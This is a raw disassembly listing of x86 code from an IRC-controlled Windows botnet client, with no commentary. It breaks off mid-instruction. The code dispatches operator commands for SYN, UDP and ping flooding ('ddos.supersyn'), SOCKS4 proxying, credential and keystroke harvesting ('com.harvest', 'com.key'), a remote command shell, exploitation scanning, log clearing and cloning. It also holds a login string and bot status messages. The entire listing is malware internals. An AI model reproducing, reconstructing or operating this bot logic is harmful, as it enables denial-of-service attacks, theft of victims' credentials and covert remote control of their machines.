call _strcmp pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F4BF push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40F4BF push [ebp+var_90] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_414F3C cmp ds:dword_42E5B8, ebx jz loc_414F3C loc_40F4BF: ; CODE XREF: sub_40EE51+634j ; sub_40EE51+646j push [ebp+var_90] ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_40F645 push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_40F645 mov eax, [ebp+var_88] inc dword ptr [ebp+Args] push 4 mov [ebp+Format], eax pop esi mov [ebp+var_C0], esi loc_40F506: ; CODE XREF: sub_40EE51+8B0j ; sub_40EE51+941j ... shl esi, 2 mov eax, [ebp+esi+Str2] lea edi, [ebp+esi+Str2] push eax ; Str2 push offset dword_437674 ; Str1 mov [ebp+arg_8], eax call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F93F push [ebp+esi+var_90] ; Str2 push offset aSend_0 ; "SEND" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F7FD cmp [ebp+var_AC], ebx jz loc_40F7D3 push [ebp+esi+Format] mov edi, offset aS_1 ; "%s" lea eax, [ebp+Dest] push edi ; Format push eax ; Dest call _sprintf push [ebp+esi+var_88] lea eax, [ebp+var_708] push edi ; Format push eax ; Dest call _sprintf push dword ptr [ebp+esi+Args] ; Str call _atoi mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_5F0] push eax ; Dest call _strncpy mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push offset dword_437630 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 12h ; int push eax ; Source call sub_416D48 add esp, 44h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C8B6 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz loc_40F7C2 loc_40F62F: ; CODE XREF: sub_40EE51+7F2j cmp [ebp+var_560], ebx jnz loc_40F7F5 push 32h call ds:dword_423060 ; Sleep jmp short loc_40F62F ; --------------------------------------------------------------------------- loc_40F645: ; CODE XREF: sub_40EE51+67Ej ; sub_40EE51+694j push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F65E mov [ebp+var_4], 1 loc_40F65E: ; CODE XREF: sub_40EE51+804j cmp [ebp+Format], ebx jz loc_40F215 push (offset loc_4279A7+1) ; SubStr push [ebp+Format] ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_40F685 cmp [ebp+var_4], ebx jz short loc_40F691 loc_40F685: ; CODE XREF: sub_40EE51+82Dj lea eax, [ebp+var_D8] mov [ebp+Format], eax loc_40F691: ; CODE XREF: sub_40EE51+832j cmp [ebp+var_88], ebx jz loc_40F215 inc [ebp+var_88] jz short loc_40F6DD cmp [ebp+Source], ebx jz short loc_40F6DD lea eax, [ebp+var_928] push eax ; Str call _strlen push eax ; MaxCount lea eax, [ebp+var_928] push [ebp+var_88] ; Str2 push eax ; Str1 call _strncmp mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40F6E3 ; --------------------------------------------------------------------------- loc_40F6DD: ; CODE XREF: sub_40EE51+852j ; sub_40EE51+857j mov esi, [ebp+var_C0] loc_40F6E3: ; CODE XREF: sub_40EE51+88Aj mov edi, [ebp+esi*4+Str2] cmp edi, ebx jz loc_40F215 push edi ; Str2 push offset dword_437624 ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F506 mov ecx, [ebp+Format] cmp byte ptr [ecx], 23h jz short loc_40F783 mov eax, ds:dword_486D84 mov eax, ds:off_42E6B8[eax*4] cmp [eax], bl jz short loc_40F783 push eax push ecx ; Args push offset dword_437608 ; Format push [ebp+arg_4] ; int call sub_40D62A lea eax, [ebp+var_D8] push eax lea eax, [ebp+Dst] push offset aSHasJustVersio ; "%s has just versioned me." push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_40BF6F add esp, 20h cmp [ebp+var_AC], ebx jnz loc_40F215 push ebx ; int lea eax, [ebp+Dst] push 1 ; int push eax ; int push offset byte_486C8C ; Str loc_40F773: ; CODE XREF: sub_40EE51+58A4j push [ebp+arg_4] ; int call sub_40D670 add esp, 14h jmp loc_40F215 ; --------------------------------------------------------------------------- loc_40F783: ; CODE XREF: sub_40EE51+8BFj ; sub_40EE51+8CFj push edi ; Str2 push offset dword_4375E4 ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F506 mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40F506 mov ecx, [ebp+Format] cmp byte ptr [ecx], 23h jz loc_40F506 push eax push ecx push offset dword_4375CC jmp loc_40F20A ; --------------------------------------------------------------------------- loc_40F7C2: ; CODE XREF: sub_40EE51+7D8j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_437584 jmp loc_40F92B ; --------------------------------------------------------------------------- loc_40F7D3: ; CODE XREF: sub_40EE51+6FFj lea eax, [ebp+var_D8] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset dword_437534 ; Format push eax ; Dest call _sprintf add esp, 10h loc_40F7F5: ; CODE XREF: sub_40EE51+7E4j ; sub_40EE51+AA2j ... push 1 pop esi jmp loc_411109 ; --------------------------------------------------------------------------- loc_40F7FD: ; CODE XREF: sub_40EE51+6F3j push [ebp+esi+var_90] ; Str2 push offset aChat ; "CHAT" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F955 cmp [ebp+var_AC], ebx jz loc_40F91F push 13h call sub_416F90 test eax, eax pop ecx jnz loc_40F911 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_1 ; "%s" push eax ; Dest call _sprintf push dword ptr [ebp+esi+Args] ; Str call _atoi mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_5F0] push eax ; Dest call _strncpy mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+Dst] push offset dword_4374FC ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 13h ; int push eax ; Source call sub_416D48 add esp, 34h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C353 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_40F903 loc_40F8ED: ; CODE XREF: sub_40EE51+AB0j cmp [ebp+var_560], ebx jnz loc_40F7F5 push 32h call ds:dword_423060 ; Sleep jmp short loc_40F8ED ; --------------------------------------------------------------------------- loc_40F903: ; CODE XREF: sub_40EE51+A9Aj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_4374B8 jmp short loc_40F92B ; --------------------------------------------------------------------------- loc_40F911: ; CODE XREF: sub_40EE51+9DDj lea eax, [ebp+var_D8] push eax push offset dword_437478 jmp short loc_40F92B ; --------------------------------------------------------------------------- loc_40F91F: ; CODE XREF: sub_40EE51+9CDj lea eax, [ebp+var_D8] push eax push offset dword_437438 ; Format loc_40F92B: ; CODE XREF: sub_40EE51+97Dj ; sub_40EE51+ABEj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_40F7F5 ; --------------------------------------------------------------------------- loc_40F93F: ; CODE XREF: sub_40EE51+6D8j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, ds:byte_42E5C0 mov [edi], ecx jnz loc_40F215 loc_40F955: ; CODE XREF: sub_40EE51+9C1j mov edi, [edi] mov [ebp+arg_8], edi push edi ; Str2 mov edi, offset aS1gn1n ; "s1gn1n" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_414F44 push [ebp+arg_8] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_414F44 cmp [ebp+var_AC], ebx jnz short loc_40F9A5 push [ebp+var_90] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_414F3C loc_40F9A5: ; CODE XREF: sub_40EE51+B38j cmp [ebp+arg_28], ebx jnz loc_414F3C xor edi, edi cmp ds:dword_4303A0, ebx jle loc_40FB51 mov [ebp+arg_20], offset Str1 loc_40F9C3: ; CODE XREF: sub_40EE51+B91j push [ebp+arg_8] ; Str2 push [ebp+arg_20] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40F9E9 add [ebp+arg_20], 0B8h inc edi cmp edi, ds:dword_4303A0 jl short loc_40F9C3 jmp loc_40FB51 ; --------------------------------------------------------------------------- loc_40F9E9: ; CODE XREF: sub_40EE51+B81j push offset asc_43778C ; " :" push [ebp+Src] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_40F215 mov cl, ds:byte_42E5C0 imul edi, 0B8h mov [eax+2], cl mov cl, ds:byte_42E5C0 mov [eax+3], cl lea ecx, dword_441308[edi] push 9Fh ; Count add eax, 4 push ecx ; Source push eax ; Dest call _strncpy lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40FA3E: ; CODE XREF: sub_40EE51+C95j push [ebp+arg_20] lea eax, [ebp+SubStr] push offset aD ; "$%d-" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_40FAAA mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40FAAA lea eax, Str1[edi] push eax ; Str call _strlen add [ebp+var_C], eax pop ecx jz short loc_40FADC mov eax, [ebp+arg_C] push dword ptr [eax-4] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_40FADC push eax ; Str lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_40A7D2 add esp, 0Ch jmp short loc_40FADC ; --------------------------------------------------------------------------- loc_40FAAA: ; CODE XREF: sub_40EE51+C15j ; sub_40EE51+C1Cj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40FADC lea eax, [ebp+SubStr] push 2 ; Count push eax ; Source lea eax, [ebp+var_14] push eax ; Dest call _strncpy lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax ; Str lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_40A7D2 add esp, 18h loc_40FADC: ; CODE XREF: sub_40EE51+C2Ej ; sub_40EE51+C42j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40FA3E lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40FAF9: ; CODE XREF: sub_40EE51+CF4j push [ebp+arg_20] lea eax, [ebp+SubStr] push offset aD_0 ; "$%d" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_40FB3C mov eax, [edi] cmp eax, ebx jz short loc_40FB3C push eax ; Str lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_40A7D2 add esp, 0Ch loc_40FB3C: ; CODE XREF: sub_40EE51+CD0j ; sub_40EE51+CD6j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40FAF9 mov [ebp+var_DC], 1 loc_40FB51: ; CODE XREF: sub_40EE51+B65j ; sub_40EE51+B93j mov eax, [ebp+arg_8] mov al, [eax] cmp al, ds:byte_42E5C0 jz short loc_40FB6A cmp [ebp+var_DC], ebx jz loc_40FD4F loc_40FB6A: ; CODE XREF: sub_40EE51+D0Bj push [ebp+Source] ; Str mov edi, [ebp+Src] push offset aMe_0 ; "$me" push edi ; Src call sub_40A7D2 lea eax, [ebp+var_D8] push eax ; Str push offset aUser_2 ; "$user" push edi ; Src call sub_40A7D2 push [ebp+Format] ; Str push offset aChan ; "$chan" push edi ; Src call sub_40A7D2 push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_415CF0 push eax ; Str push offset aRndnick ; "$rndnick" push edi ; Src call sub_40A7D2 add esp, 40h push [ebp+arg_14] ; Str push offset aServer_1 ; "$server" push edi ; Src call sub_40A7D2 mov edi, offset aChr ; "$chr(" push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h loc_40FBDC: ; CODE XREF: sub_40EE51+E77j test eax, eax jz loc_40FCCD push edi ; SubStr push [ebp+Src] ; Str call _strstr mov [ebp+Source], eax add eax, 5 push 4 ; Count push eax ; Source lea eax, [ebp+SubStr] push eax ; Dest call _strncpy lea eax, [ebp+SubStr] push offset asc_4373F0 ; ")" push eax ; Str call _strtok add esp, 1Ch cmp [ebp+SubStr], 30h jl short loc_40FC28 cmp [ebp+SubStr], 39h jle short loc_40FC3E loc_40FC28: ; CODE XREF: sub_40EE51+DCCj push 3 ; Count lea eax, [ebp+SubStr] push offset a63 ; "63" push eax ; Dest call _strncpy add esp, 0Ch loc_40FC3E: ; CODE XREF: sub_40EE51+DD5j lea eax, [ebp+SubStr] push eax ; Str call _atoi test eax, eax pop ecx jle short loc_40FC61 lea eax, [ebp+SubStr] push eax ; Str call _atoi pop ecx mov [ebp+var_14], al jmp short loc_40FC72 ; --------------------------------------------------------------------------- loc_40FC61: ; CODE XREF: sub_40EE51+DFCj call _rand push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40FC72: ; CODE XREF: sub_40EE51+E0Ej lea eax, [ebp+SubStr] mov [ebp+var_13], bl push eax ; Str call _strlen mov [ebp+arg_20], eax push 0Ch ; Size lea eax, [ebp+SubStr] push ebx ; Val push eax ; Dst call _memset mov eax, [ebp+arg_20] add eax, 6 push eax ; Count lea eax, [ebp+SubStr] push [ebp+Source] ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_14] push eax ; Str lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_40A7D2 push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 30h jmp loc_40FBDC ; --------------------------------------------------------------------------- loc_40FCCD: ; CODE XREF: sub_40EE51+D8Dj mov edi, 1FFh lea eax, [ebp+Str] push edi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push edi ; Count push eax ; Source lea eax, [ebp+var_11B0] push eax ; Dest call _strncpy lea eax, [ebp+var_11B0] push offset asc_4293B4 ; " " push eax ; Str call _strtok add esp, 20h mov [ebp+Str2], eax lea edi, [ebp+var_90] mov [ebp+Source], 1Fh loc_40FD1D: ; CODE XREF: sub_40EE51+EE1j push offset asc_4293B4 ; " " push ebx ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec [ebp+Source] pop ecx jnz short loc_40FD1D mov ecx, [ebp+esi+Str2] lea eax, [ebp+esi+Str2] cmp ecx, ebx jz loc_40F215 add ecx, 3 mov [eax], ecx loc_40FD4F: ; CODE XREF: sub_40EE51+D13j mov edi, [ebp+esi+Str2] push edi ; Str2 push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call _strcmp pop ecx test eax, eax pop ecx jz loc_414EEF push edi ; Str2 push offset aRn ; "rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_414EEF push edi ; Str2 push offset aIrc_die ; "irc.die" call _strcmp pop ecx test eax, eax pop ecx jz loc_414ECD push edi ; Str2 push offset aIrc_di ; "irc.di" call _strcmp pop ecx test eax, eax pop ecx jz loc_414ECD push edi ; Str2 push offset aIrc_logout ; "irc.logout" call _strcmp pop ecx test eax, eax pop ecx jz loc_414E2B push edi ; Str2 push offset aLo ; "lo" call _strcmp pop ecx test eax, eax pop ecx jz loc_414E2B push edi ; Str2 push offset aIrc_version ; "irc.version" call _strcmp pop ecx test eax, eax pop ecx jz loc_414E0D push edi ; Str2 push offset aVer ; "ver" call _strcmp pop ecx test eax, eax pop ecx jz loc_414E0D push edi ; Str2 push offset aLockdown_on ; "lockdown.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_414CF8 push edi ; Str2 push offset aLd_on ; "ld.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_414CF8 push edi ; Str2 push offset aLockdown_off ; "lockdown.off" call _strcmp pop ecx test eax, eax pop ecx jz loc_414CF8 push edi ; Str2 push offset aLd_off ; "ld.off" call _strcmp pop ecx test eax, eax pop ecx jz loc_414CF8 push edi ; Str2 push offset aProxy_socks4_o ; "proxy.socks4.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_414BD6 push edi ; Str2 push offset aProxy_s4_on ; "proxy.s4.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_414BD6 push edi ; Str2 push offset aProxy_socks4_0 ; "proxy.socks4.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FEBF push [ebp+esi+var_90] ; Str push 11h ; int push offset aServer_0 ; "Server" push offset dword_437338 ; int loc_40FEA3: ; CODE XREF: sub_40EE51+1092j ; sub_40EE51+10B8j ... push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; int push [ebp+arg_4] ; int call sub_416FD6 add esp, 20h jmp loc_40F215 ; --------------------------------------------------------------------------- loc_40FEBF: ; CODE XREF: sub_40EE51+103Dj push edi ; Str2 push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FEE5 push [ebp+esi+var_90] push 6 push offset aServer_0 ; "Server" push offset dword_437314 jmp short loc_40FEA3 ; --------------------------------------------------------------------------- loc_40FEE5: ; CODE XREF: sub_40EE51+107Dj push edi ; Str2 push offset aDaemon_web_off ; "daemon.web.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FF0B push [ebp+esi+var_90] push 3 push offset aServer_0 ; "Server" push offset dword_4372F8 jmp short loc_40FEA3 ; --------------------------------------------------------------------------- loc_40FF0B: ; CODE XREF: sub_40EE51+10A3j push edi ; Str2 push offset aLog_off ; "log.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FF34 push [ebp+esi+var_90] push 1Dh push offset dword_4372E4 push offset dword_4372D8 jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_40FF34: ; CODE XREF: sub_40EE51+10C9j push edi ; Str2 push offset aProxy_redirect ; "proxy.redirect.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FF5D push [ebp+esi+var_90] push 10h push offset dword_4372B4 push offset dword_4372A4 jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_40FF5D: ; CODE XREF: sub_40EE51+10F2j push edi ; Str2 push offset aDdos_off ; "ddos.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FF86 push [ebp+esi+var_90] push 0Ah push offset dword_43728C push offset dword_437280 jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_40FF86: ; CODE XREF: sub_40EE51+111Bj push edi ; Str2 push offset aDdos_syn_off ; "ddos.syn.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FFAF push [ebp+esi+var_90] push 0Bh push offset dword_437264 push offset dword_437258 jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_40FFAF: ; CODE XREF: sub_40EE51+1144j push edi ; Str2 push offset aDdos_udp_off ; "ddos.udp.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FFD8 push [ebp+esi+var_90] push 0Fh push offset dword_43723C push offset dword_437230 jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_40FFD8: ; CODE XREF: sub_40EE51+116Dj push edi ; Str2 push offset aDdos_ping_off ; "ddos.ping.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410001 push [ebp+esi+var_90] push 0Eh push offset dword_437214 push offset dword_437208 jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_410001: ; CODE XREF: sub_40EE51+1196j push edi ; Str2 push offset aDaemon_tftp_of ; "daemon.tftp.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_41002A push [ebp+esi+var_90] push 4 push offset aServer_0 ; "Server" push offset dword_4371EC jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_41002A: ; CODE XREF: sub_40EE51+11BFj push edi ; Str2 push offset aUtil_findfile_ ; "util.findfile.off" call _strcmp pop ecx test eax, eax pop ecx jz loc_414BBE push edi ; Str2 push offset aUtil_ff_off ; "util.ff.off" call _strcmp pop ecx test eax, eax loc_41004D: ; DATA XREF: UPX0:0042BC90o pop ecx loc_41004E: ; DATA XREF: UPX0:0042BCA4o jz loc_414BBE push edi ; Str2 push offset aCom_procs_off ; "com.procs.off" call _strcmp pop ecx test eax, eax pop ecx jz loc_414BA6 push edi ; Str2 push offset aCom_ps_off ; "com.ps.off" call _strcmp pop ecx test eax, eax pop ecx jz loc_414BA6 push edi ; Str2 push offset aClone_off ; "clone.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4100A7 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_43718C jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_4100A7: ; CODE XREF: sub_40EE51+123Cj push edi ; Str2 push offset aLockdown_stop ; "lockdown.stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4100D0 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_437164 jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_4100D0: ; CODE XREF: sub_40EE51+1265j push edi ; Str2 push offset aRoot_stop ; "root.stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4100F9 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_4100F9: ; CODE XREF: sub_40EE51+128Ej push edi ; Str2 push offset aRoot_stats ; "root.stats" call _strcmp pop ecx test eax, eax pop ecx jz loc_414B90 push edi ; Str2 push offset aRoot_st ; "root.st" call _strcmp pop ecx test eax, eax pop ecx jz loc_414B90 push edi ; Str2 push offset aIrc_reconnect ; "irc.reconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_414B6F push edi ; Str2 push offset aIrc_r ; "irc.r" call _strcmp pop ecx test eax, eax pop ecx jz loc_414B6F push edi ; Str2 push offset aIrc_disconnect ; "irc.disconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_414B4D push edi ; Str2 push offset aIrc_d ; "irc.d" call _strcmp pop ecx test eax, eax pop ecx jz loc_414B4D push edi ; Str2 push offset aIrc_quit ; "irc.quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_414B05 push edi ; Str2 push offset aIrc_q ; "irc.q" call _strcmp pop ecx test eax, eax pop ecx jz loc_414B05 push edi ; Str2 push offset aIrc_status ; "irc.status" call _strcmp pop ecx test eax, eax pop ecx jz loc_414AC7 push edi ; Str2 push offset aIrc_s ; "irc.s" call _strcmp pop ecx test eax, eax pop ecx jz loc_414AC7 push edi ; Str2 push offset aIrc_id ; "irc.id" call _strcmp pop ecx test eax, eax pop ecx jz loc_414A90 push edi ; Str2 push offset aIrc_i ; "irc.i" call _strcmp pop ecx test eax, eax pop ecx jz loc_414A90 push edi ; Str2 push offset aCom_rebewt ; "com.rebewt" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410247 call sub_40AC1B test eax, eax mov eax, offset dword_43708C jnz short loc_410219 mov eax, offset dword_437058 loc_410219: ; CODE XREF: sub_40EE51+13C1j push eax ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 1Ch jmp loc_40F7F5 ; --------------------------------------------------------------------------- loc_410247: ; CODE XREF: sub_40EE51+13B3j push edi ; Str2 push offset aThreads_list ; "threads.list" call _strcmp pop ecx test eax, eax pop ecx jz loc_41499F push edi ; Str2 push offset aThreads_l ; "threads.l" call _strcmp pop ecx test eax, eax pop ecx jz loc_41499F push edi ; Str2 push offset aIrc_aliases ; "irc.aliases" call _strcmp pop ecx test eax, eax pop ecx jz loc_41497F push edi ; Str2 push offset aIrc_al ; "irc.al" call _strcmp pop ecx test eax, eax pop ecx jz loc_41497F push edi ; Str2 push offset aIrc_log ; "irc.log" call _strcmp pop ecx test eax, eax pop ecx jz loc_41488F push edi ; Str2 push offset aIrc_lg ; "irc.lg" call _strcmp pop ecx test eax, eax pop ecx jz loc_41488F push edi ; Str2 push offset aUtil_clearlog ; "util.clearlog" call _strcmp pop ecx test eax, eax pop ecx jz loc_414876 push edi ; Str2 push offset aUtil_clg ; "util.clg" call _strcmp pop ecx test eax, eax pop ecx jz loc_414876 push edi ; Str2 push offset aCom_netinfo ; "com.netinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_41483F push edi ; Str2 push offset aCom_ni ; "com.ni" call _strcmp pop ecx test eax, eax pop ecx jz loc_41483F push edi ; Str2 push offset aDdos_supersyn ; "ddos.supersyn" call _strcmp pop ecx test eax, eax pop ecx jnz loc_410429 mov edi, [ebp+esi+var_90] push 7Fh ; Count lea eax, [ebp+var_76C] push edi ; Source push eax ; Dest call _strncpy mov eax, [ebp+esi+Format] push 7Fh ; Count mov [ebp+Str1], eax push eax ; Source lea eax, [ebp+var_6EC] push eax ; Dest call _strncpy mov esi, [ebp+esi+var_88] push 7Fh ; Count lea eax, [ebp+var_66C] push esi ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_5EC] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] push esi push [ebp+Str1] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, [ebp+arg_4] mov [ebp+var_770], eax push edi lea eax, [ebp+Dst] push offset unk_436F98 ; Format push eax ; Dest call _sprintf add esp, 44h lea eax, [ebp+Dst] push ebx ; int push 14h ; int push eax ; Source call sub_416D48 add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_40182E push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_410418 loc_410402: ; CODE XREF: sub_40EE51+15C5j cmp [ebp+var_560], ebx jnz loc_4145C3 push 32h call ds:dword_423060 ; Sleep jmp short loc_410402 ; --------------------------------------------------------------------------- loc_410418: ; CODE XREF: sub_40EE51+15AFj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_436F4C jmp loc_413BD1 ; --------------------------------------------------------------------------- loc_410429: ; CODE XREF: sub_40EE51+14D7j push edi ; Str2 push offset aCom_sysinfo ; "com.sysinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_414814 push edi ; Str2 push offset aCom_si ; "com.si" call _strcmp pop ecx test eax, eax pop ecx jz loc_414814 push edi ; Str2 push offset aC00lm4n ; "c00lm4n" call _strcmp pop ecx test eax, eax pop ecx jz loc_4147DA push edi ; Str2 push offset aC00lm4n ; "c00lm4n" call _strcmp pop ecx test eax, eax pop ecx jz loc_4147DA push edi ; Str2 push offset aCom_procs ; "com.procs" call _strcmp pop ecx test eax, eax pop ecx jz loc_4146D1 push edi ; Str2 push offset aCom_ps ; "com.ps" call _strcmp pop ecx test eax, eax pop ecx jz loc_4146D1 push edi ; Str2 push offset aCom_harvest ; "com.harvest" call _strcmp pop ecx test eax, eax pop ecx jz loc_4146A7 push edi ; Str2 push offset aCom_key ; "com.key" call _strcmp pop ecx test eax, eax pop ecx jz loc_4146A7 push edi ; Str2 push offset aCom_uptime ; "com.uptime" call _strcmp pop ecx test eax, eax pop ecx jz loc_414623 push edi ; Str2 push offset aCom_up ; "com.up" call _strcmp pop ecx test eax, eax pop ecx jz loc_414623 push edi ; Str2 push offset aCom_driveinfo ; "com.driveinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_414606 push edi ; Str2 push offset aCom_drv ; "com.drv" call _strcmp pop ecx test eax, eax pop ecx jz loc_414606 push edi ; Str2 push offset aCom_testdlls ; "com.testdlls" call _strcmp pop ecx test eax, eax pop ecx jz loc_4145ED push edi ; Str2 push offset aCom_dll ; "com.dll" call _strcmp pop ecx test eax, eax pop ecx jz loc_4145ED push edi ; Str2 push offset aCom_opencmd ; "com.opencmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_414581 push edi ; Str2 push offset aCom_ocmd ; "com.ocmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_414581 push edi ; Str2 push offset aCom_ocmd_off ; "com.ocmd.off" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4105A2 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_4105A2: ; CODE XREF: sub_40EE51+1737j push edi ; Str2 push offset aIrc_who ; "irc.who" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_41062F cmp [ebp+var_8], ebx jnz short loc_4105D2 push ebx ; int push [ebp+var_4] ; int push offset 